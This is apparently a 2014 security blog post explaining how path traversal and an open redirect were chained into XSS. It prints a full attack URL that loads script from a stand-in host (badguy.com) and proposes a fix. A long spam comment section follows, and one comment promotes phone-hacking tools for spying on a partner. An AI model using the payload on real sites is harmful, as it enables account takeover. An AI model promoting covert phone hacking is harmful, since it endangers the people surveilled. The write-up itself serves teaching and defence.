Wednesday, 26 November 2014

Traversal to Redirect to Remote JS XSS

I recently came across an interesting snippet of Javascript that looked exploitable but the path to exploitation wasn't that obvious. This post will be about how I achieved a working XSS.


The Code

The vulnerable page was loaded with a URL something like this:
https://app.test.com/timezone?c=test
And contained Javascript looking something like this:
var country = location.search.slice(3);
var s = document.createElement('script');
var src = '/js/timezone-js/timezone-data[' + country + '].min.js';
s.src = src;
document.getElementsByTagName('head')[0].appendChild(s);

Can you spot how to exploit it? :)

============================================

In a nutshell the JS appends a new <script> element to the <head> element. The user is able to modify the country part of the script element as this is retrieved from the URL parameter "c".

Once the above script runs you end up with something like:
<script src="/js/timezone-js/timezone-data[test].min.js"></script>
So how can we exploit this?


From Text to Traversal

In terms of regular inline XSS there are two potential injection points, either directly in the JS or within the HTML output. In this instance neither work because of the way the input is handled and encoding.

We can however use path traversal to load any JS file on the server. For example, to load a legitimate file with traversal we could do this:
https://app.test.com/timezone?c=/../../../js/timezone-js/timezonedata[UK.min.js]?

But we still have no way to load our own JS...or do we?


From Traversal to Dead End?

The easiest way to get JS execution from the traversal would have been to locate an upload feature or error message on the same domain that allowed the user to control the first few bytes of the response. This would have allowed the inclusion of a JS payload that could have been accessed through the traversal.

For example:
https://app.test.com/timezone?c=/../../../../uploads/file?
Unfortunately I couldn't find such a place....but I did have an open redirection I could play with.


From Redirection to JS

The open redirection was pretty standard something like:
https://app.test.com/accounts/logout/?next=https://badguy.com
Open redirection is often classed as medium/low risk but in this instance it was the final piece of the XSS puzzle as it would allow us to redirect a browser offsite to grab remote JS.

Combining the traversal and redirection the complete attack URL was:
https://app.test.com/timezone?c=/../../../../accounts/logout/?next=https://badguy.com/script.js?

Which would cause the in-page JS to create a script tag that would load our malicious remote JS:
<script src="/../../../../accounts/logout/?next=https://badguy.com/script.js?].min.js"><script>


Congratulations you've achieved XSS by loading remote JS from traversal and redirection!


The Fix

I definitely think this functionality could have been handled in a cleaner way using server-side code. A quick fix though would have been to whitelist the country parameter to prevent path traversal.
country = country.replace(/[^\w\-]/g, '');


Final Thoughts

I really enjoyed exploiting this issue as it involved stringing multiple flaws together to achieve a working XSS which at first glance didn't seem possible. I guess the moral of the story is always think outside the box and don't write sloppy Javascript :)

If you have any questions or feedback just drop me a comment below. Pwndizzle out.

486 comments:

  1. Hi, I read your post regarding the Facebook account phone number determinations. I was wondering if you have an e-mail I could reach you at. Locked out of Yahoo mail from years ago, and I don't know the phone number associated to my account anymore.

    Thank you.

    ReplyDelete
  2. thanks for your information
    For more information click here:
    ethical hacking course in hyderabad

    ReplyDelete
  3. This is such a good post. One of the best posts that I\'ve read in my whole life. I am so happy that you chose this day to give me this. Please, continue to give me such valuable posts. Cheers!
    java training in tambaram | java training in velachery

    java training in omr | oracle training in chennai

    java training in annanagar | java training in chennai

    ReplyDelete
  4. It seems you are so busy in last month. The detail you shared about your work and it is really impressive that's why i am waiting for your post because i get the new ideas over here and you really write so well.
    python training in pune
    python online training
    python training in OMR

    ReplyDelete
  5. A universal message I suppose, not giving up is the formula for success I think. Some things take longer than others to accomplish, so people must understand that they should have their eyes on the goal, and that should keep them motivated to see it out til the end.
    python training in pune
    python online training
    python training in OMR

    ReplyDelete
  6. Great post! I am actually getting ready to across this information, It’s very helpful for this blog.Also great with all of the valuable information you have Keep up the good work you are doing well.
    Devops training in velachery
    Devops training in annanagar
    Devops training in sholinganallur

    ReplyDelete
  7. The knowledge of technology you have been sharing thorough this post is very much helpful to develop new idea. here by i also want to share this.
    Devops training in tambaram
    DevOps online Training
    DevOps Training in USA

    ReplyDelete
  8. We are a group of volunteers and starting a new initiative in a community. Your blog provided us valuable information to work on.You have done a marvellous job!
    Blueprism online training

    Blue Prism Training in Pune

    ReplyDelete
  9. Nice tutorial. Thanks for sharing the valuable information. it’s really helpful. Who want to learn this blog most helpful. Keep sharing on updated tutorials…
    Blueprism training institute in Chennai

    Blueprism online training

    Blue Prism Training Course in Pune

    Blue Prism Training Institute in Bangalore

    ReplyDelete
  10. This comment has been removed by the author.

    ReplyDelete
  11. Greetings. I know this is somewhat off-topic, but I was wondering if you knew where I could get a captcha plugin for my comment form? I’m using the same blog platform like yours, and I’m having difficulty finding one? Thanks a lot.
    AWS Interview Questions And Answers
    AWS Online Training | Online AWS Certification Course - Gangboard
    AWS Training in Chennai | AWS Training Institute in Chennai Velachery, Tambaram, OMR
    AWS Training in Bangalore |Best AWS Training Institute in BTM ,Marathahalli

    ReplyDelete
  12. Awwsome informative blog ,Very good information thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us. Aviation Courses in Chennai | Best Aviation Academy in Chennai | Aviation Academy in Chennai | Aviation Training in Chennai | Aviation Institute in Chennai

    ReplyDelete
  13. Thank you sharing this kind of noteworthy information. Nice Post.

    Guest posting sites
    Education

    ReplyDelete
  14. This information is impressive. I am inspired with your post writing style & how continuously you describe this topic. Eagerly waiting for your new blog keep doing more.
    Android Training in Bangalore
    Android Developer Course in Bangalore
    Android App Development Training in Bangalore
    Android Training Center in Bangalore
    Android Institute in Bangalore

    ReplyDelete
  15. Amazing information,thank you for your ideas.after along time i have studied
    an interesting information's.we need more updates in your blog.
    Salesforce Training in Mogappair
    Salesforce Training in Thirumangalam
    Salesforce Training in Nungambakkam
    Salesforce Training in Vadapalani

    ReplyDelete
  16. This post is much helpful for us. This is really very massive value to all the readers and it will be the only reason for the post to get popular with great authority.
    Software Testing Training in Chennai
    Software Testing Courses in Chennai
    Software Training Institutes in Chennai
    Selenium Training
    Selenium Course in Chennai
    Selenium Training Institute in Chennai

    ReplyDelete
  17. Thanks for posting useful information.You have provided an nice article, Thank you very much for this one. And i hope this will be useful for many people.. and i am waiting for your next post keep on updating these kinds of knowledgeable things...Really it was an awesome article...very interesting to read..please sharing like this information......
    PHP interview questions and answers | PHP interview questions | PHP interview questions for freshers | PHP interview questions and answers for freshers | php interview questions and answers for experienced | php viva questions and answers | php based interview questions

    ReplyDelete
  18. Many people put effort to look for Best Villas and here comes our exclusive guide on how to choose the Best Independent Luxury Villas in Chennai even you can find Budget Cheap Villas in our most areas across ECR and OMR.

    ReplyDelete
  19. Great Article, very useful information, thank you !!

    Guest posting sites
    Education

    ReplyDelete
  20. WP Engine, most rated WordPress hosting comes with all the essential & advanced features for Wp Engine Black Friday WordPress powered sites. WP Engine just beyond a hosting company where they incorporated many tools to identify slow loading pages.

    ReplyDelete
  21. Regular charges will be applied to other customers according to their services provider. If you are unable to make a call on Sky broadband Numbersimply use live chat options to avail broadband services.

    ReplyDelete
  22. I think this is the best article today about the future technology. Thanks for taking your own time to discuss this topic, I feel happy about that curiosity has increased to learn more about this topic. Artificial Intelligence Training in Bangalore. Keep sharing your information regularly for my future reference.

    ReplyDelete
  23. I think this is the best article today about the future technology. Thanks for taking your own time to discuss this topic, I feel happy about that curiosity has increased to learn more about this topic.Artificial Intelligence Training in Bangalore. Keep sharing your information regularly for my future reference.

    ReplyDelete
  24. This comment has been removed by the author.

    ReplyDelete
  25. Outstanding blog thanks for sharing such wonderful blog with us ,after long time came across such knowlegeble blog. keep sharing such informative blog with us.

    Check out : machine learning training in chennai
    artificial intelligence and machine learning course in chennai
    machine learning with python course in chennai
    best machine learning institutes in chennai

    ReplyDelete
  26. This is a nice article here with some useful tips for those who are not used-to comment that frequently. Thanks for this helpful information I agree with all points you have given to us. I will follow all of them.
    Microsoft Azure online training
    Selenium online training
    Java online training
    Python online training
    uipath online training

    ReplyDelete
  27. Hey Nice Blog!! Thanks For Sharing!!!Wonderful blog & good post.Its really helpful for me, waiting for a more new post. Keep Blogging!
    SEO company in coimbatore
    SEO Service in Coimbatore
    web design company in coimbatore

    ReplyDelete
  28. Great Article… I love to read your articles because your writing style is too good, its is very very helpful for all of us and I never get bored while reading your article because, they are becomes a more and more interesting from the starting lines until the end.


    AWS Training in Bangalore

    Best AWS Training Institute in Bangalore


    ReplyDelete
  29. This comment has been removed by the author.

    ReplyDelete
  30. On this website you can join unlimited groups . click and get unlimited whatsapp group links

    ReplyDelete
  31. Really It is very useful information for us. thanks for sharing.
    CEH Training In Hyderabad

    ReplyDelete
  32. Interesting information and attractive.This blog is really rocking... Yes, the post is very interesting and I really like it.I never seen articles like this. I meant it's so knowledgeable, informative, and good looking site. I appreciate your hard work. Good job.
    Kindly visit us @
    Sathya Online Shopping
    Online AC Price | Air Conditioner Online | AC Offers Online | AC Online Shopping
    Inverter AC | Best Inverter AC | Inverter Split AC
    Buy Split AC Online | Best Split AC | Split AC Online
    LED TV Sale | Buy LED TV Online | Smart LED TV | LED TV Price
    Laptop Price | Laptops for Sale | Buy Laptop | Buy Laptop Online
    Full HD TV Price | LED HD TV Price
    Buy Ultra HD TV | Buy Ultra HD TV Online
    Buy Mobile Online | Buy Smartphone Online in India

    ReplyDelete
  33. I Had Read Your Article & Really Like It, Thank You For This Type Of Valuable Information !!

    Are You Planning To Buy A Phone Or Want To Know Best Phones In 2019 Then Visit Our Website Phones Pick

    ReplyDelete
  34. Nice Article…
    Really appreciate your work
    Breakup Status

    ReplyDelete
  35. Hello, I read your blog occasionally, and I own a similar one, and I was just wondering if you get a lot of spam remarks? If so how do you stop it, any plugin or anything you can advise? I get so much lately it’s driving me insane, so any assistance is very much appreciated.
    AWS Training in Chennai | Best AWS Training in Chennai
    Best Data Science Training in Chennai
    Best Python Training in Chennai
    Best RPA Training in Chennai
    Digital Marketing Training in Chennai
    Matlab Training in Chennai

    ReplyDelete
  36. Great and Nice Blog! I would like to thank for the efforts you have made in writing this great article. Thanks for sharing.


    ExcelR Data Science Bangalore

    ReplyDelete
  37. I have read your article, it is very informative and helpful for me.I admire the valuable information you offer in your articles. Thanks for posting it..
    data analytics course malaysia

    ReplyDelete
  38. To read more informative article on static gk quiz you can go to byscoop

    ReplyDelete
  39. If you have Natural Curls or Curly Hair, you are just blessed. You can experiment with many Hairstyles which will Look Stylish here we tell about top best and easy Curly Hairstyles

    ReplyDelete
  40. Excellent Blog. I really want to admire the quality of this post. I like the way of your presentation of ideas, views and valuable content. No doubt you are doing great work. I’ll be waiting for your next post. Thanks .Keep it up!
    Kindly visit us @
    Luxury Packaging Box
    Wallet Box
    Perfume Box Manufacturer
    Candle Packaging Boxes
    Luxury Leather Box
    Luxury Clothes Box
    Luxury Cosmetics Box
    Shoe Box Manufacturer
    Luxury Watch Box

    ReplyDelete

  41. It is perfect time to make some plans for the future and it is time to be happy. I’ve read this post and if I could I desire to suggest you few interesting things or tips. Perhaps you could write next articles referring to this article. I want to read more things about it!

    Big Data Course

    ReplyDelete
  42. Really amazing article thanks for this article.
    PHP

    ReplyDelete
  43. Hi! This is my first visit to your blog! We are a team of volunteers and new initiatives in the same niche. Blog gave us useful information to work. You have done an amazing job!

    Big Data Course Malaysia

    ReplyDelete
  44. Great post i must say and thanks for the information. Education is definitely a sticky subject. it is still among the leading topics of our time. I appreciate your post and looking for more.Data Science Courses

    ReplyDelete
  45. This information really amazing thanks for share this article thank you..

    easy hindi riddles with answers

    ReplyDelete
  46. If you are facing such hurdles and want to fix them immediately, reach MYOB Support Number for help. Here, the experts provide all kinds of resolutions for desktop and cloud-based MYOB software.

    ReplyDelete
  47. Antivirus has made our lives easier and secured. When you dial Webroot Support Toll-free Number , our experts will instantly engage with you. We cover a wide scope of services to satisfy every customer with the best solutions.

    ReplyDelete
  48. Thanks for the Valuable information.Really useful information. Thank you so much for sharing.It will help everyone.Keep Post. Find Some Indian Memes. Interesting News Tamilrockers Movie Download Trending News Some Life hacks tips Life hacks Entertainment News Find Some Viral News Here.Trending News
    saurabh jindal

    ReplyDelete
  49. Wow, absolutely fantastic blog. I am very glad to have such useful information

    clipping path service|Photo Retouching services|Vector Tracing

    ReplyDelete
  50. Thanks for the great post you posted. I like the way you describe the unique content. The points you raise are valid and reasonable. I am a tech support expert telling you about www.office.com/setup.

    ReplyDelete
  51. PUBG Mobile Lite need minimum 2GB of RAM is claimed as per the official requirements

    ReplyDelete
  52. I Got Job in my dream company with decent 12 Lacks Per Annum salary, I have learned this world most demanding course out there in the current IT Market from the data science course in puneProviders who helped me a lot to achieve my dreams comes true. Really worth trying instant approval blog commenting sites

    ReplyDelete
  53. Thanks for sharing valuable information.It will help everyone.keep Post.
    Kerala Lottery Guessing

    ReplyDelete
  54. Hi,
    Good job & thank you very much for the new information, i learned something new. Very well written. It was sooo good to read and usefull to improve knowledge. Who want to learn this information most helpful. One who wanted to learn this technology IT employees will always suggest you take Hadoop training in btm. Because data science course in pune is one of the best that one can do while choosing the course.

    ReplyDelete
  55. I Got Job in my dream company with decent 12 Lacks Per Annum salary, I have learned this world most demanding course out there in the current IT Market from the Hkbk group of institutions experts who helped me a lot to achieve my dreams comes true. Really worth trying

    ReplyDelete
  56. Nice article
    Thanks for sharing the information
    Please visit leadmirro to know your blog rank

    ReplyDelete
  57. Cool post .. amazing blog. I really appreciate your effort. Thanks for sharing. Please Check Sai Baba Images and Life Quotes in Hindi

    ReplyDelete
  58. Best post .. I really appreciate your hard work and impressive writing style. Thanks for sharing. Keep Writing. Please visit - Sai Baba Images and Good Morning Love

    ReplyDelete
  59. I learned World's Trending Technology from certified experts for free of cost.i Got job in decent Top MNC Company with handsome 14 LPA salary, i have learned the World's Trending Technology from Python training in pune experts who know advanced concepts which can helps to solve any type of Real time issues in the field of Python. Really worth trying instant approval blog commenting sites

    ReplyDelete
  60. Get the most advanced  UiPath Course by Professional expert. Just attend a FREE Demo session.  call us @ 9884412301 | 9600112302
      RPA training in chennai    UiPath training in velachery  

    ReplyDelete
  61. Cool post .. amazing blog. I really appreciate your effort. Thanks for sharing. Please Check Sai Baba Images and Good Morning Love

    ReplyDelete
  62. Really interesting and informative post! Thanks for sharing with us.
    list installed packages on ubuntu

    ReplyDelete
  63. Fonts For Facebook Generate cool and stylish FB Fonts fancy fonts for your Facebook account and Facebook Fonts
    you can use in all social media platform Fonts For FB

    ReplyDelete
  64. Thank you for this great article i learn a lot from your article keep it up.
    read more

    ReplyDelete
  65. This comment has been removed by the author.

    ReplyDelete
  66. Thank you for sharing valuable information. Thanks for provide great informatic blog, really nice required information & the things i never imagined. Thanks you once agian Download Poweramp Pro Apk

    ReplyDelete
  67. Today Launch in india New Jawa Bike is Jawa Anniversary Edition Price at 1.73 lakh (ex-showroom), to mark the 90th year of the brand.

    ReplyDelete
  68. Best Quotes In HindiBest Quotes In

    Hindi

    Shiv Tandav Stotram Full Lyrics? Shiv

    Tandav Stotram Full Lyrics

    Hindi Love Shayari CollectionHindi

    Love Shayari Collection

    Love quotes in hindiLove quotes in

    hindi

    Pal Pal Dil Ke Paas Lyrics – Arijit SinghPal Pal Dil Ke Paas Lyrics – Arijit Singh
    Tera Fitoor Lyrics – Arijit SinghTera Fitoor Lyrics – Arijit

    Singh

    Apna Time Aayega LyricsApna Time Aayega Lyrics


    ReplyDelete
  69. Are you like To Hack Garena Free Fire Game, U can want 2 File Free Fire Mod, Unban Virtual
    Are u like to hack your Girlfriend mobile, u can try it AndroRat, FBSub APK

    ReplyDelete
  70. I am Grateful™ that you shared this informational post. Your website has everything that I have been looking for so long. Your knowledge about this topic is quite impressive. I am amazed by the content you shared on this website. I loved this page so much that I have bookmarked it for future reference. Thank you for this valuable piece of information. Sadly I could not find any additional information on this page. The information available here is similar to other websites. I like that your understanding about this subject is very deep. Visit:-
    www.norton.com/setup
    Linksys Router Support
    Asus Router Support

    ReplyDelete
  71. Thank you for such a nice article keep posting, I am a Regular Visitor of your website.
    the hindu pdf

    ReplyDelete
  72. Very good post, keep sending us such informative articles I visit your website on a regular basis.
    current affairs by jagran josh

    ReplyDelete
  73. Download CoolRom from the largest and cleanest ROMs and emulators resource on the net. Mobile optimized. Systems include N64, GBA, SNES, NDS, GBC, NES, MAME, PSX, Gamecube and more.

    ReplyDelete
  74. Awesome..I read this post so nice and very imformative information...thanks for sharing
    Click here for data science course

    ReplyDelete
  75. We support all types of HP printer troubleshooting and service. Just enter the model number of your printer in 123.hp.com/setup to identify the software and drivers your printer requires. Download and install it in your mac and 'Run' the file. The process is easy however if you have any doubts or queries regarding HP printers contact us.

    ReplyDelete
  76. Another factor to consider before getting yourself a folding ‘yak is considering the comfort level and ease of use.

    Convertible Kayak

    ReplyDelete
  77. Thank you for excellent article.You made an article that is interesting.
    Best AWS certification training courses. Build your AWS cloud skills with expert instructor- led classes. Live projects, Hands-on training,24/7 support.
    https://onlineidealab.com/aws-certification/

    ReplyDelete
  78. Very Nice article thank you for share this good article 먹튀검증

    ReplyDelete
  79. I found your article on Google when I was surfing, it is written very nicely and is optimized .Thank you I visit your website regularly.
    school fee management software

    ReplyDelete
  80. I must appreciate you for providing such a valuable content for us. This is one amazing piece of article. Helped a lot in increasing my knowledge.

    oracle training in bangalore

    ReplyDelete
  81. keep up the good work. this is an Assam post. this to helpful, i have reading here all post. i am impressed. thank you. this is our digital marketing training center. This is an online certificate course
    digital marketing training in bangalore / https://www.excelr.com/digital-marketing-training-in-bangalore

    ReplyDelete